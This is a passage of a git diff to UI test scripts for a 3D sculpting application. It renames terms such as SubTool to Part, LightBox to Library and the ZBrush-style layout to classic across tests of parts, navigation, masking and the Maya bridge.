--- a/tests/ui/gizmo.sfui
+++ b/tests/ui/gizmo.sfui
@@ -1,7 +1,7 @@
# Gizmo 3D (W Move, E Scale, R Rotate, Q Draw): each mode's handles, axis-locked moves, Shift snapping, Alt+drag
# moving only the gizmo, scaling, posing a capsule arm at the elbow (mask, pivot, soft falloff), undo / redo,
-# numeric entry, All SubTools.
-run new_sphere subdivisions=5 ; transform scale=3,0.7,0.7 pivot=origin ; subtool_rename to=Arm
+# numeric entry, All Parts.
+run new_sphere subdivisions=5 ; transform scale=3,0.7,0.7 pivot=origin ; part_rename to=Arm
key f
orbit -70 -45
expect_value size_x > 5.9
@@ -96,7 +96,7 @@ expect_value masked > 1000
wait 0.1
expect_value pivot_x > 1
hold alt
-click_subtool Arm 0.5 0.5
+click_part Arm 0.5 0.5
hold none
expect_value pivot_x < 0.8
expect_value pivot_x > -0.8
@@ -156,14 +156,14 @@ shot numeric
key ctrl+z
click "Gizmo/Clear"
-# All SubTools moves every visible SubTool together, with an undo step in each.
-run subtool_append type=sphere name=Ball
+# All Parts moves every visible Part together, with an undo step in each.
+run part_append type=sphere name=Ball
key f
key w
click "All Parts##gizmo.all"
gizmo_drag move_view 50 40
-expect_value edited_subtools == 2
-shot all-subtools
+expect_value edited_parts == 2
+shot all-parts
click "All Parts##gizmo.all"
# Q (or W again) goes back to Draw: the gizmo and its panel go away and brushes sculpt again.
diff --git a/tests/ui/hardware_profile.sfui b/tests/ui/hardware_profile.sfui
index 631cd275..423c6afc 100644
--- a/tests/ui/hardware_profile.sfui
+++ b/tests/ui/hardware_profile.sfui
@@ -2,7 +2,7 @@
# in the test's temporary settings folder) the app calibrates over the first frames like a first launch, then
# Preferences > Performance shows what it detected and measured, the settings, the frame governor, Re-calibrate and
# the manual overrides. Real GPU, so only the words are checked, not the numbers.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere
# (Calibration takes one step per frame, so it is over within the first frames here.)
wait 1
diff --git a/tests/ui/help_console.sfui b/tests/ui/help_console.sfui
index 5dbf275e..15bc28f6 100644
--- a/tests/ui/help_console.sfui
+++ b/tests/ui/help_console.sfui
@@ -21,7 +21,7 @@ hold none
wait 0.2
expect_no_text "subdivision level"
-# ZBrush-style shortcut assignment: double-click a row (or Ctrl+Alt+click a button), press the key.
+# classic shortcut assignment: double-click a row (or Ctrl+Alt+click a button), press the key.
type Controls/##controls_filter wire
double_click Controls/Wireframe
expect_status "Press a key for 'Wireframe'"
diff --git a/tests/ui/insert_mesh.sfui b/tests/ui/insert_mesh.sfui
index 068e9df5..83357d5a 100644
--- a/tests/ui/insert_mesh.sfui
+++ b/tests/ui/insert_mesh.sfui
@@ -1,13 +1,13 @@
-# #34: Append > Insert on the model with your own mesh: a copy of another SubTool, or a model file.
+# #34: Append > Insert on the model with your own mesh: a copy of another Part, or a model file.
run new_sphere subdivisions=4
key f
click "Parts/Append"
click "Cube"
-expect_value subtools == 2
-run subtool_select index=0
+expect_value parts == 2
+run part_select index=0
key f
-# A copy of the Cube SubTool, dragged onto the sphere (X symmetry is on: a mirrored copy too), one undo step.
+# A copy of the Cube Part, dragged onto the sphere (X symmetry is on: a mirrored copy too), one undo step.
remember triangles base
click "Parts/Append"
hover "Insert on the model"
@@ -17,8 +17,8 @@ expect_status Insert a copy of Cube
stroke 0.8 0.45 0.86 0.45
expect_status 2 Cubes (mirrored)
expect_value triangles > $base
-expect_value subtools == 2
-shot insert_subtool_copy
+expect_value parts == 2
+shot insert_part_copy
key ctrl+z
expect_value triangles == $base
diff --git a/tests/ui/job_keeps_part.sfui b/tests/ui/job_keeps_part.sfui
index 46475647..593883bf 100644
--- a/tests/ui/job_keeps_part.sfui
+++ b/tests/ui/job_keeps_part.sfui
@@ -6,12 +6,12 @@ click "Geometry##tool.geometry"
click "QRemesh/Quad Remesh"
expect_value qremesh_running == 1
# Another Part while it runs (appended: it becomes the active one).
-run subtool_append type=cube name=Cube
-expect_value active_subtool == 1
+run part_append type=cube name=Cube
+expect_value active_part == 1
wait_idle 120
-expect_value active_subtool == 1
+expect_value active_part == 1
expect_status stays the active Part
-run subtool_select index=0
+run part_select index=0
expect_value quads > 100
key ctrl+z
expect_value quads == 0
diff --git a/tests/ui/kelvinlet_capture.sfui b/tests/ui/kelvinlet_capture.sfui
index 16d9457b..7397e40b 100644
--- a/tests/ui/kelvinlet_capture.sfui
+++ b/tests/ui/kelvinlet_capture.sfui
@@ -1,7 +1,7 @@
# Kelvinlet brushes and Capture from view: KelvinGrab from the bottom shelf drags the sphere out elastically (undo
# puts it back), Twist and Scale act where they press, the Kelvinlet section's Squash slider; then Ctrl+Alt+C, a
# square dragged over a sculpted detail, the capture window, and Detail Clone stamping the capture along a stroke.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=7
wait_idle 30
diff --git a/tests/ui/language.sfui b/tests/ui/language.sfui
index 501d40a1..003d7365 100644
--- a/tests/ui/language.sfui
+++ b/tests/ui/language.sfui
@@ -1,7 +1,7 @@
# The interface language (#44), Preferences > Interface > Language: Español translates the palette bar, the
-# palettes, the shelves and the Ctrl-help; brush and tool names (SubTool, QRemesh, Clay Buildup) stay as they are.
+# palettes, the shelves and the Ctrl-help; brush and tool names (Part, QRemesh, Clay Block) stay as they are.
# The "##" ids don't change, so every button works the same in either language, and English comes back unchanged.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=2
click "Preferences##palette.preferences"
click "Interface##preferences.interface"
@@ -26,7 +26,7 @@ expect_text "Tamaño de dibujo"
expect_text "Intensidad"
expect "Clay Block##brush.clayblock"
expect "Move##brush.move"
-expect "Piezas##tool.subtool"
+expect "Piezas##tool.part"
# Tool > Geometry: the translated Divide divides.
click "Geometría##tool.geometry"
diff --git a/tests/ui/layers_levels.sfui b/tests/ui/layers_levels.sfui
index b2f71c44..9467199d 100644
--- a/tests/ui/layers_levels.sfui
+++ b/tests/ui/layers_levels.sfui
@@ -1,9 +1,9 @@
-# Sculpt layers on subdivision levels (ZBrush's 3D Layers): a layer recorded at the top of a divided box survives
+# Sculpt layers on subdivision levels (3D Layers): a layer recorded at the top of a divided box survives
# Lower Res / Higher Res, its weight slider works at every level, Divide carries it to a new level, and undo
# steps back through it all.
run new_sphere subdivisions=1
-run subtool_append type=cube name=Box
-run subtool_delete index=0
+run part_append type=cube name=Box
+run part_delete index=0
orbit 140 -70
key f
click "Geometry##tool.geometry"
diff --git a/tests/ui/levels_rebuild.sfui b/tests/ui/levels_rebuild.sfui
index a9f3b085..f6fe7eb8 100644
--- a/tests/ui/levels_rebuild.sfui
+++ b/tests/ui/levels_rebuild.sfui
@@ -1,10 +1,10 @@
# Subdivision levels and the tools that rebuild the mesh (Decimate, Subdivide, Remesh, QRemesh, Delete Hidden,
-# merging and splitting SubTools): they work on the current level, the status line says the levels were removed
-# and which one became the base, and Ctrl+Z brings every level back. Selecting another SubTool and coming back
+# merging and splitting Parts): they work on the current level, the status line says the levels were removed
+# and which one became the base, and Ctrl+Z brings every level back. Selecting another Part and coming back
# still steps between the levels.
run new_sphere subdivisions=1
-run subtool_append type=cube name=Box
-run subtool_delete index=0
+run part_append type=cube name=Box
+run part_delete index=0
orbit 140 -70
key f
click "Geometry##tool.geometry"
@@ -47,10 +47,10 @@ key ctrl+z
expect_value sdiv_levels == 3
expect_value sdiv == 2
-# Another SubTool and back: the levels step as before (the cached levels of the SubTool left are freed).
-run subtool_append type=sphere name=Eye
+# Another Part and back: the levels step as before (the cached levels of the Part left are freed).
+run part_append type=sphere name=Eye
expect_value sdiv_levels == 0
-run subtool_select name=Box
+run part_select name=Box
expect_value sdiv == 2
key d
expect_value sdiv == 3
diff --git a/tests/ui/lightbox.sfui b/tests/ui/library.sfui
similarity index 86%
rename from tests/ui/lightbox.sfui
rename to tests/ui/library.sfui
index 84d353af..02cd9c5a 100644
--- a/tests/ui/lightbox.sfui
+++ b/tests/ui/library.sfui
@@ -1,37 +1,37 @@
-# LightBox (comma key): tabs, history, loading models, appending SubTools, materials,
-# brushes, QuickSave; then the ZBrush-style pickers: the brush pop-up (B, type letters,
+# Library (comma key): tabs, history, loading models, appending Parts, materials,
+# brushes, QuickSave; then the classic pickers: the brush pop-up (B, type letters,
# press the orange key), the material pop-up (M) and Draw Size / Z Intensity at the cursor (S / U).
run new_plane resolution=8
expect_value triangles == 128
-expect_value lightbox_open == 0 # (the window; "LightBox" is also the top-shelf button)
+expect_value library_open == 0 # (the window; "Library" is also the top-shelf button)
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
click "Library/Tool"
expect "Library/Sphere"
expect "Library/Cube"
expect "Library/Built-in"
wait_idle 60
-shot lightbox-tool
+shot library-tool
# The header links to the issue forms ("Fixes & suggestions"; tests never open a browser).
click "Library/###Fixes & suggestions"
expect_status Submit a request for a fix or a suggestion
-# Double-click a model to open it (replaces the scene), Shift+double-click to append it as a SubTool.
+# Double-click a model to open it (replaces the scene), Shift+double-click to append it as a Part.
double_click "Library/Sphere"
expect_value triangles > 128
-expect_value subtools == 1
+expect_value parts == 1
hold shift
double_click "Library/Cube"
hold none
-expect_value subtools == 2
+expect_value parts == 2
expect_status Appended Part
# A tile dragged out of the strip onto the canvas loads like a double-click (the Cube tile).
drag_item "Library/Cube" 500 300
expect_status Created cube
-expect_value subtools == 1
+expect_value parts == 1
# Folders: Built-in holds the bundled demo files; ".." and Back return to the tab's root.
double_click "Library/Built-in"
@@ -56,7 +56,7 @@ expect "Library/Sharp Crease"
double_click "Library/Sharp Crease"
expect_status Brush: Sharp Crease
wait_idle 60
-shot lightbox-brush
+shot library-brush
# Drag sideways to scrub the strip: brushes far to the right come into view.
expect_not "Library/Skin Pores"
@@ -69,7 +69,7 @@ expect_status Brush: Sharp Crease
# More rows, then back through the history to the Material tab.
click "Library/3"
wait_idle 60
-shot lightbox-3-rows
+shot library-3-rows
click "Library/1"
click "Library/###Back"
expect "Library/Chrome"
@@ -82,10 +82,10 @@ expect_status Saved Snapshot
wait 6
wait_idle 30
expect_no_text Save Snapshot keeps timestamped copies
-shot lightbox-quicksave
+shot library-quicksave
key ,
-expect_value lightbox_open == 0
+expect_value library_open == 0
# Brush pop-up: B, then a letter narrows the grid and puts an orange key on each brush.
key b
diff --git a/tests/ui/library_small_screen.sfui b/tests/ui/library_small_screen.sfui
index d27da155..63748cd1 100644
--- a/tests/ui/library_small_screen.sfui
+++ b/tests/ui/library_small_screen.sfui
@@ -2,17 +2,17 @@
# screen and clickable, and Esc closes the Library.
run new_sphere subdivisions=3
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
click "Library/Brush"
wait_idle 60
shot library-brush
click "Library/##lbclose"
-expect_value lightbox_open == 0
+expect_value library_open == 0
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
key escape
-expect_value lightbox_open == 0
+expect_value library_open == 0
# The right shelf's outline is drawn over its buttons, not under them (#98).
run ui_look look=forge
@@ -26,17 +26,17 @@ shot right-shelf-outline
ui_scale 150
wait 0.3
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
wait_idle 30
shot library-150
click "Library/##lbclose"
-expect_value lightbox_open == 0
-run ui_look layout=zbrush
+expect_value library_open == 0
+run ui_look layout=classic
ui_scale 150
wait 0.3
key ,
-expect_value lightbox_open == 1
+expect_value library_open == 1
wait_idle 30
-shot library-zbrush-150
+shot library-classic-150
click "Library/##lbclose"
-expect_value lightbox_open == 0
+expect_value library_open == 0
diff --git a/tests/ui/live_move.sfui b/tests/ui/live_move.sfui
index 58bb71b6..fe201b16 100644
--- a/tests/ui/live_move.sfui
+++ b/tests/ui/live_move.sfui
@@ -1,7 +1,7 @@
# Live Move (Preferences > Performance, experimental): the graphics card draws a Move drag and the move is applied
# once when the pen lifts. The same drag leaves the same surface as plain Move (one grab with the whole move is the
# sum of the per-frame grabs) and undo puts it back.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=5
camera 0 0
click "Move##brush.move"
diff --git a/tests/ui/looks.sfui b/tests/ui/looks.sfui
index 4d2a41ba..98ddeaaa 100644
--- a/tests/ui/looks.sfui
+++ b/tests/ui/looks.sfui
@@ -1,5 +1,5 @@
# The interface looks and the SculptForge layout (Preferences > Interface > Look): the task menus hold every palette
-# as a section, the ZBrush-style layout stays one setting away, and switching looks keeps everything working.
+# as a section, the Classic layout stays one setting away, and switching looks keeps everything working.
run new_sphere subdivisions=3
expect_value look == 1 # the default: Forge Terminal, Neutral colours (0.10.9), SculptForge layout
expect_value look_neutral == 1
@@ -9,9 +9,9 @@ shot neutral-default
expect "Sculpt##menu.sculpt"
expect_not "Tool##palette.tool"
-# Classic with the ZBrush-style layout, then Forge Terminal brings the SculptForge layout back: the menus in the
+# Classic with the Classic layout, then Forge Terminal brings the SculptForge layout back: the menus in the
# status bar, no palette bar, a one-row shelf.
-run ui_look look=classic layout=zbrush
+run ui_look look=classic layout=classic
wait 0.2
expect_value look == 0
expect_value shell_layout == 0
@@ -23,7 +23,7 @@ expect_value shell_layout == 1
expect_value style_window_min < 33 # switching looks doesn't scale the style again (2400x1350 gizmo overlap)
expect "Sculpt##menu.sculpt"
expect_not "Tool##palette.tool"
-expect_not "Library##ui.lightbox" # moved off the shelf (View > Display, F3)
+expect_not "Library##ui.library" # moved off the shelf (View > Display, F3)
expect "Clay##brush.clay"
expect "##drawsize"
expect "Parts/Append" # the Tool palette stays in the right tray
@@ -132,17 +132,17 @@ wait 0.2
expect_value look == 3
key escape
-# The ZBrush-style layout is one setting away and works with any look.
-run ui_look layout=zbrush
+# The Classic layout is one setting away and works with any look.
+run ui_look layout=classic
wait 0.2
expect_value shell_layout == 0
expect "Tool##palette.tool"
-expect "Library##ui.lightbox"
+expect "Library##ui.library"
expect_not "Sculpt##menu.sculpt"
click "Stroke##palette.stroke"
expect "Stroke/##totray"
key escape
-shot blueprint-zbrush-layout
+shot blueprint-classic-layout
run ui_look look=classic
wait 0.2
expect_value look == 0
@@ -168,14 +168,14 @@ expect_value look == 1
expect_value shell_layout == 1
expect "Sculpt##menu.sculpt"
-# The welcome's look picker: three cards (Neutral, Forge Terminal, ZBrush-style layout), and Coming from sets the
+# The welcome's look picker: three cards (Neutral, Forge Terminal, Classic layout), and Coming from sets the
# keys and the layout together.
key f3
type "##Command palette" "welcome"
key enter
expect_value welcome_open == 1
shot welcome-look-picker
-click "##welcome.look.zbrush"
+click "##welcome.look.classic"
wait 0.2
expect_value look == 0
expect_value shell_layout == 0
diff --git a/tests/ui/make_sculptable.sfui b/tests/ui/make_sculptable.sfui
index 80a43500..9e5f1e33 100644
--- a/tests/ui/make_sculptable.sfui
+++ b/tests/ui/make_sculptable.sfui
@@ -1,4 +1,4 @@
-# Make sculptable (Splats palette): the built-in test head capture -> one click -> a quad SubTool with face loops and
+# Make sculptable (Splats palette): the built-in test head capture -> one click -> a quad Part with face loops and
# the capture's colours next to the hidden scan; then the review: the face landmarks as dots, one dragged (its mirror
# follows and the loops are rebuilt), Finish. The crop box toggles; F3 finds the action.
run splat_test_capture kind=head count=150000
@@ -36,8 +36,8 @@ click "Make sculptable/Make sculptable"
wait_idle 120
expect_status "Made sculptable"
expect_status "face guides: 6 loops"
-expect_value subtools == 3
-expect_value visible_subtools == 1
+expect_value parts == 3
+expect_value visible_parts == 1
expect_value show_splats == 0
expect_value quad_percent >= 97
expect_value colored > 0
@@ -77,8 +77,8 @@ expect_status "Made sculptable"
expect_status "along"
expect_value sculptable_review == 0
expect_value quad_percent >= 97
-expect_value subtools == 5
-expect_value visible_subtools == 2
+expect_value parts == 5
+expect_value visible_parts == 2
camera 0 0
click "Wire##view.polyf"
shot film-polyf
diff --git a/tests/ui/mask_lasso.sfui b/tests/ui/mask_lasso.sfui
index b26d2fd5..d8c7a169 100644
--- a/tests/ui/mask_lasso.sfui
+++ b/tests/ui/mask_lasso.sfui
@@ -2,8 +2,8 @@
# Ctrl+Shift+drag lassos hide, and every selection is one undo step. Then symmetry and Ctrl+click on the model
# with MaskLasso (#51), and MaskPen's Ctrl+drag rectangle from the background (#48).
run new_sphere subdivisions=5
-# Ctrl+drag on the background with nothing masked: the ZBrush-style keys draw a mask rectangle (SculptForge zooms).
-input_style zbrush
+# Ctrl+drag on the background with nothing masked: the Classic sculpting keys draw a mask rectangle (SculptForge zooms).
+input_style classic
expect_value masked == 0
# (Symmetry X is on by default: off for the first part, so the shapes mask only what they cover.)
key x
@@ -48,7 +48,7 @@ expect_value masked > $unmasked
key ctrl+z
expect_value masked == $unmasked
-# A Ctrl+drag selection that covers none of the model clears the mask (ZBrush); undo brings it back.
+# A Ctrl+drag selection that covers none of the model clears the mask; undo brings it back.
hold ctrl
drag_path 1.3 -0.05 1.6 0.0
hold none
diff --git a/tests/ui/maya_bridge.sfui b/tests/ui/maya_bridge.sfui
index 114f4c97..910a2ee3 100644
--- a/tests/ui/maya_bridge.sfui
+++ b/tests/ui/maya_bridge.sfui
@@ -1,9 +1,9 @@
# The Maya bridge (File > Maya, #42): off until an exchange folder is chosen (here: what the native folder
-# dialog would answer), then Get from Maya loads what the shelf script sent, Send to Maya writes the SubTools
-# back, and with Get automatically on a second send from Maya replaces the SubTool by name (undoable) and adds
+# dialog would answer), then Get from Maya loads what the shelf script sent, Send to Maya writes the Parts
+# back, and with Get automatically on a second send from Maya replaces the Part by name (undoable) and adds
# the new object. The sends are staged from tests/ui/data/maya into a folder in the working directory (the build
# folder under ctest).
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
copy data/maya/send1 sf_ui_maya/maya_to_sculptforge
@@ -27,13 +27,13 @@ hold none
choose_file maya_folder sf_ui_maya
wait 0.2
expect_status "Maya exchange folder:"
-expect_value subtools == 1
+expect_value parts == 1
hover "Maya"
wait 0.2
expect_text Folder:
click "Get from Maya##file.receive_maya"
expect_status "Received 1 object from Maya"
-expect_value subtools == 1
+expect_value parts == 1
expect_text pCube1
expect_value quads > 0
shot received
@@ -46,12 +46,12 @@ click "Get automatically##maya"
copy data/maya/send2 sf_ui_maya/maya_to_sculptforge
wait 0.3
expect_status "Received 2 objects from Maya"
-expect_value subtools == 2
+expect_value parts == 2
expect_text pCube2
expect_value can_undo == 1
shot updated
-# Send to Maya: both SubTools, under their Maya names.
+# Send to Maya: both Parts, under their Maya names.
click "File##palette.file"
hover "Maya"
wait 0.2
diff --git a/tests/ui/maya_keys.sfui b/tests/ui/maya_keys.sfui
index bd280921..eee92e76 100644
--- a/tests/ui/maya_keys.sfui
+++ b/tests/ui/maya_keys.sfui
@@ -1,6 +1,6 @@
# The Maya input style (#32): Alt+left orbits, Alt+middle pans, Alt+right zooms (on the model too, without
-# sculpting); Ctrl inverts a stroke, Ctrl+Alt masks; back to the ZBrush style.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+# sculpting); Ctrl inverts a stroke, Ctrl+Alt masks; back to the classic.
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=4
click "Preferences##palette.preferences"
click "Input##preferences.input"
@@ -86,5 +86,5 @@ expect_value masked < $m0
expect_value hidden == $h0
click "Preferences##palette.preferences"
-click "Classic sculpting keys##input.style_zbrush"
+click "Classic sculpting keys##input.style_classic"
expect_value input_style == 0
diff --git a/tests/ui/multires.sfui b/tests/ui/multires.sfui
index 98e2efdb..f6fa9150 100644
--- a/tests/ui/multires.sfui
+++ b/tests/ui/multires.sfui
@@ -2,9 +2,9 @@
# slider step between them, detail sculpted at the top survives sculpting big forms at a low level, and undo
# steps back through strokes and level changes. A cube divided four times becomes a rounded box of quads.
run new_sphere subdivisions=1
-run subtool_append type=cube name=Box
-run subtool_delete index=0
-expect_value subtools == 1
+run part_append type=cube name=Box
+run part_delete index=0
+expect_value parts == 1
expect_value triangles == 27648
orbit 140 -70
key f
@@ -122,10 +122,10 @@ expect_value sdiv == 1
expect_value triangles == 108
shot base-level
-# The SubTool list shows the level.
-click "Parts##tool.subtool"
+# The Part list shows the level.
+click "Parts##tool.part"
expect_text "SDiv 1/5"
-shot subtool-list
+shot part-list
# Del Lower at level 2 makes it the new base; Del Higher drops the top.
click "Geometry##tool.geometry"
diff --git a/tests/ui/navigation.sfui b/tests/ui/navigation.sfui
index c0dbe24d..ebb71112 100644
--- a/tests/ui/navigation.sfui
+++ b/tests/ui/navigation.sfui
@@ -1,7 +1,7 @@
-# ZBrush navigation: free rotation over the top, Shift snaps to an axis view, Alt-drag then release Alt
+# classic navigation: free rotation over the top, Shift snaps to an axis view, Alt-drag then release Alt
# zooms, Ctrl+right-drag zooms, Alt+right-drag pans.
run new_sphere subdivisions=4
-input_style zbrush
+input_style classic
expect_value camera_roll == 0
# Free rotation (the default) rolls right over the top: drag 400 px up/down = 183 degrees.
@@ -26,7 +26,7 @@ expect_value camera_pan != $p0
# (the zoom part of that drag went down: in)
expect_value camera_distance < $d0
-# Right-drag: Ctrl zooms, Alt pans. As in ZBrush, dragging up zooms out and dragging down zooms in.
+# Right-drag: Ctrl zooms, Alt pans. Dragging up zooms out and dragging down zooms in.
remember camera_distance d1
hold ctrl
orbit 0 -120
diff --git a/tests/ui/ortho_shading.sfui b/tests/ui/ortho_shading.sfui
index cb45f495..1421a9b9 100644
--- a/tests/ui/ortho_shading.sfui
+++ b/tests/ui/ortho_shading.sfui
@@ -1,4 +1,4 @@
-# The orthographic view (Numpad 5) shades like the perspective one (#24): the matcap and the lights looked inside
+# The orthographic view (Numpad 5) shades like the perspective one (#24): the lit sphere and the lights looked inside
# out, because each pixel's view ray was worked out as in a perspective view. The same sphere, both ways: the
# brightness matches where 0.9.6 was furthest off (up to 38 levels; now within 1).
run new_sphere subdivisions=4
diff --git a/tests/ui/packs.sfui b/tests/ui/packs.sfui
index 936d6584..8b53ef5b 100644
--- a/tests/ui/packs.sfui
+++ b/tests/ui/packs.sfui
@@ -13,7 +13,7 @@ expect_value pack_review_open == 1
expect_value pack_review_ok == 1
expect_value pack_review_brush == 1
expect_value pack_review_alpha == 1
-expect_value pack_review_matcap == 1
+expect_value pack_review_litsphere == 1
expect_value pack_review_material == 1
expect_value pack_review_keymap == 1
expect_value pack_review_piemenu == 1
@@ -33,12 +33,12 @@ expect_value packs_enabled == 1
expect_status Installed Demo Pack 1.0
expect_value pack_brushes == 1
expect_value pack_alphas == 1
-expect_value pack_matcaps == 1
+expect_value pack_litspheres == 1
expect_value pack_materials == 1
expect_value pack_keymaps == 1
expect_value macros == 1
expect_value macro_actions == 1
-expect_value lightbox_open == 1
+expect_value library_open == 1
wait_idle 30
expect_text Demo Pack 1.0
shot packs_tab
@@ -65,7 +65,7 @@ click "Library/##ondemo-pack"
expect_value packs_enabled == 0
expect_value pack_brushes == 0
expect_value pack_alphas == 0
-expect_value pack_matcaps == 0
+expect_value pack_litspheres == 0
expect_value macro_actions == 0
click "Library/##ondemo-pack"
expect_value packs_enabled == 1
diff --git a/tests/ui/paint_layers.sfui b/tests/ui/paint_layers.sfui
index 902f805f..0d08196c 100644
--- a/tests/ui/paint_layers.sfui
+++ b/tests/ui/paint_layers.sfui
@@ -1,5 +1,5 @@
-# Paint layers: a Photoshop-style stack of polypaint layers in Tool > Paint Layers. Base is the
-# polypaint; layers paint non-destructively with their own blend mode, opacity and visibility.
+# Paint layers: a Photoshop-style stack of vertex paint layers in Tool > Paint Layers. Base is the
+# vertex paint; layers paint non-destructively with their own blend mode, opacity and visibility.
run new_sphere subdivisions=5
click "Paint Layers##tool.paint_layers"
expect "Paint Layers/Base"
diff --git a/tests/ui/panel_drag_scroll.sfui b/tests/ui/panel_drag_scroll.sfui
index f07c69ec..435d1a2c 100644
--- a/tests/ui/panel_drag_scroll.sfui
+++ b/tests/ui/panel_drag_scroll.sfui
@@ -1,12 +1,12 @@
# #100 (small screens, pens): a palette that doesn't fit scrolls with a middle-drag anywhere on it, or a left-drag
# on its empty space (text and gaps), as a finger scrolls a list. A drag that starts on a control still works the
# control and never scrolls.
-run ui_look look=classic layout=zbrush # written for the Classic look and the ZBrush-style palette bar and shelves
+run ui_look look=classic layout=classic # written for the Classic look and the classic palette bar and shelves
run new_sphere subdivisions=3
expect_value panel_drag_scrolls == 0
click "Deformation##tool.deformation" # long sub-palettes (Shift+click keeps more open): the tray overflows
hold shift
-click "Parts##tool.subtool"
+click "Parts##tool.part"
click "Geometry##tool.geometry"
hold none
diff --git a/tests/ui/subtools.sfui b/tests/ui/parts.sfui
similarity index 50%
rename from tests/ui/subtools.sfui
rename to tests/ui/parts.sfui
index 9dd1b79b..b5c07c17 100644
--- a/tests/ui/subtools.sfui
+++ b/tests/ui/parts.sfui
@@ -1,99 +1,99 @@
-# SubTools: the panel, Alt+click in the viewport, sculpting and undo per SubTool,
+# Parts: the panel, Alt+click in the viewport, sculpting and undo per Part,
# visibility, rename, duplicate, delete, merge and split.
-run new_sphere subdivisions=4 ; subtool_rename to=Body
+run new_sphere subdivisions=4 ; part_rename to=Body
expect "Parts/Append"
-expect_value subtools == 1
+expect_value parts == 1
expect "Parts/Body"
-shot one-subtool
+shot one-part
-# Append from the panel's menu: each new SubTool becomes the active one.
+# Append from the panel's menu: each new Part becomes the active one.
click "Parts/Append"
click "Sphere"
expect_status Appended Part Sphere
-expect_value subtools == 2
-expect_value active_subtool == 1
+expect_value parts == 2
+expect_value active_part == 1
click "Parts/Append"
click "Cube"
-expect_value subtools == 3
-expect_value active_subtool == 2
+expect_value parts == 3
+expect_value active_part == 2
key f
shot appended
# Click rows to select.
click "Parts/Body"
-expect_value active_subtool == 0
+expect_value active_part == 0
expect_status Active Part: Body
click "Parts/Sphere"
-expect_value active_subtool == 1
+expect_value active_part == 1
-# Alt+click in the viewport selects another SubTool without sculpting anything.
+# Alt+click in the viewport selects another Part without sculpting anything.
hold alt
-click_subtool Cube
+click_part Cube
hold none
-expect_value active_subtool == 2
+expect_value active_part == 2
expect_status Active Part: Cube
hold alt
-click_subtool Body
+click_part Body
hold none
-expect_value active_subtool == 0
-expect_value edited_subtools == 0
+expect_value active_part == 0
+expect_value edited_parts == 0
shot alt-click
-# Shift+Alt+click selects a SubTool and frames it (ZBrush): the camera moves in on the Cube.
+# Shift+Alt+click selects a Part and frames it: the camera moves in on the Cube.
remember camera_distance far
hold shift+alt
-click_subtool Cube
+click_part Cube
hold none
-expect_value active_subtool == 2
+expect_value active_part == 2
expect_value camera_distance < $far
-expect_value edited_subtools == 0
+expect_value edited_parts == 0
shot shift-alt-frame
key f
hold alt
-click_subtool Body
+click_part Body
hold none
-expect_value active_subtool == 0
+expect_value active_part == 0
-# A stroke changes only the active SubTool; undo history is per SubTool.
+# A stroke changes only the active Part; undo history is per Part.
click "Clay##brush.clay"
stroke 0.3 0.4 0.6 0.6
expect_value can_undo == 1
-expect_value edited_subtools == 1
-# Alt+drag on the active SubTool is still an inverted stroke, not a selection.
+expect_value edited_parts == 1
+# Alt+drag on the active Part is still an inverted stroke, not a selection.
hold alt
stroke 0.4 0.3 0.5 0.7
hold none
-expect_value active_subtool == 0
-expect_value edited_subtools == 1
+expect_value active_part == 0
+expect_value edited_parts == 1
shot sculpted
click "Parts/Cube"
expect_value can_undo == 0
key ctrl+z
-expect_value edited_subtools == 1
+expect_value edited_parts == 1
click "Parts/Body"
expect_value can_undo == 1
key ctrl+z
key ctrl+z
expect_value can_undo == 0
-expect_value edited_subtools == 0
+expect_value edited_parts == 0
key ctrl+shift+z
-expect_value edited_subtools == 1
+expect_value edited_parts == 1
# Eye toggles, Solo and Unhide all.
click "Parts/##eye Sphere"
-expect_value visible_subtools == 2
+expect_value visible_parts == 2
expect_status Sphere hidden
shot hidden
click "Parts/Solo"
-expect_value visible_subtools == 1
+expect_value visible_parts == 1
expect_status Solo: Body
shot solo
click "Parts/Solo"
-expect_value visible_subtools == 3
+expect_value visible_parts == 3
click "Parts/##eye Cube"
-expect_value visible_subtools == 2
+expect_value visible_parts == 2
click "Parts/Unhide all"
-expect_value visible_subtools == 3
+expect_value visible_parts == 3
# Rename: double-click the row and type.
double_click "Parts/Cube"
@@ -106,54 +106,54 @@ expect_not "Parts/Cube"
# Duplicate, then delete through the confirmation (Cancel first).
click "Parts/Helmet"
click "Parts/Duplicate"
-expect_value subtools == 4
-expect_value active_subtool == 3
+expect_value parts == 4
+expect_value active_part == 3
expect "Parts/Helmet copy"
click "Parts/Delete..."
expect_text This can't be undone
shot confirm-delete
click "Delete Part?/Cancel"
-expect_value subtools == 4
+expect_value parts == 4
click "Parts/Delete..."
click "Delete Part?/Delete"
-expect_value subtools == 3
+expect_value parts == 3
expect_status Deleted Part Helmet copy
expect_not "Parts/Helmet copy"
-# Move the active SubTool up and down the list.
+# Move the active Part up and down the list.
click "Parts/Sphere"
click "Parts/##up"
-expect_value active_subtool == 0
+expect_value active_part == 0
click "Parts/##down"
-expect_value active_subtool == 1
+expect_value active_part == 1
-# Merge down keeps polygroups apart, so Split groups separates the pieces again.
+# Merge down keeps face groups apart, so Split groups separates the pieces again.
click "Parts/Body"
click "Parts/Merge down..."
click "Merge Down?/Merge"
-expect_value subtools == 2
+expect_value parts == 2
expect_status Merged Sphere into Body
expect_value can_undo == 0
click "Parts/Split groups"
-expect_value subtools == 3
+expect_value parts == 3
